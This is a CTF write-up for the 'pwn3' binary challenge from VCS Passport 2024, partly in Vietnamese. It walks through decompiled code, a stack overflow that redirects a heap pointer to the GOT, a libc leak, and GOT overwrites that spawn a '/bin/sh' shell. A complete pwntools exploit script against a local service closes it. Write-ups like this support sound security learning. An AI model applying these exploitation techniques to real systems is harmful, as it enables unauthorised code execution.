PWN3

December 13, 2025 December 12, 2025 Medium
Author Author Hung Nguyen Tuong

Setup

ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn3/public$ chmod +x ./run.sh ./service/chall ./service/libc.so.6 ./service/ld-linux-x86-64.so.2
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn3/public$ code .
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn3/public$ ./run.sh
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn3/public$ nc 0 9003
Enter your name: Hung
Hi Hung

Choose the type: 1
Enter your number: 9921
Your data is: 9921

Choose the type: 2
Enter size: 3924
Size too large!

Choose the type: 4
Invalid type!

Recon

Mitigation

Code

read_name()

int read_name()
{
  __int64 buf[32]; // [rsp+0h] [rbp-100h] BYREF

  memset(buf, 0, sizeof(buf));
  printf("Enter your name: ");
  read(0, buf, 255uLL);                         // buffer overflow
  return printf("Hi %s\n", (const char *)buf);
}

handler()

int handler()
{
  int type;  // [rsp+4h] [rbp-Ch] BYREF
  Data *buf; // [rsp+8h] [rbp-8h]

  if (!buf)
    buf = (Data *)calloc(1uLL, 272uLL);
  printf("Choose the type: ");
  __isoc99_scanf("%u", &type);
  if (type == 1)
  {
    buf->type = 1;
    printf("Enter your number: ");
    __isoc99_scanf("%lu", &buf->num);
    return printf("Your data is: %lu\n\n", buf->num);
  }
  else if (type == 2)
  {
    buf->type = 2;
    printf("Enter size: ");
    __isoc99_scanf("%u", &buf->size);
    if (buf->size <= 256)
    {
      printf("Enter your data: ");
      read(0, buf->data, buf->size);
      printf("Your data is: ");
      return puts(buf->data);
    }
    else
    {
      return puts("Size too large!\n");
    }
  }
  else
  {
    return puts("Invalid type!\n");
  }
}

Struct của Data trông như sau:

Solve

Nhìn code mãi mình chẳng thấy đoạn nào có dấu hiệu nguy hiểm cả. Mình thử input name đủ 255 byte thì gặp sigsegv:

Vậy offset đến đó là:

pwndbg> cyclic -l gaaaaaab
Finding cyclic pattern of 8 bytes: b'gaaaaaab' (hex: 0x6761616161616162)
Found at offset 248

Nhìn vào đây mình biết rằng nó bị sigsegv khi đang cố truy cập buf:

Vậy mình có thể input địa chỉ bất kỳ vào cuối name để buf trỏ đến đó. Ở đây mình cho buf trỏ đến GOT entry của calloc (vì calloc giờ không còn động đến nữa):

Mình có thể dùng type = 2 để leak địa chỉ của setvbuf -> leak libc.

Mình tiếp tục dùng type = 2 để ghi đè scanf() đến one_gadget() nhưng ko cái nào được. Mình thử ghi đè exit() để lúc timeout chương trình sẽ gọi nhưng cũng ko được. Mình lại cố gắng ghi đè puts() thành system() và nhập /bin/bash vào data để lúc return puts(buf->data); mở shell, nhưng cũng ko được.

Lúc này mình khá là bí, cho đến khi mình nhìn để ý hàm setup():

unsigned int setup()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  signal(14, signal_handler);
  return alarm(0x1Eu);
}

Mà stdin, out, err đều nằm dưới GOT:

Mình thử ghi đè setvbuf() -> system(), scanf() -> setup(), stderr -> “/bin/sh”, và thế là được:

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("chall_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)

context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

pa = lambda t, addr: print(f'{t}: {hex(addr)}')
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset

gdbscript = '''
b *handler
set follow-fork-mode child
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "localhost"
        port = 9003
        return remote(host, port)

p = conn()

def type1(num):
    slan(p, b'type', 1)
    slan(p, b'number', num)

def type2(size, data):
    slan(p, b'type', 2)
    slan(p, b'size', size)
    if size <= 256:
        sa(p, b'your data', data)

sa(p, b'name', flat(
    b'A' * 248,
    p64(0x404038)[:3]
))

type2(64, b'A')
ru(p, b'Your data is: ')
libc.address = leak_bytes(rn(p, 6), 0x81541)
pa("libc base", libc.address)

type2(255, flat(
    libc.symbols['system'],
    exe.symbols['setup'],
    0, 0, 0, 0, 0,
    libc.symbols['_IO_2_1_stdout_'],
    0,
    libc.symbols['_IO_2_1_stdin_'],
    0,
    binsh(libc)
))

ia(p)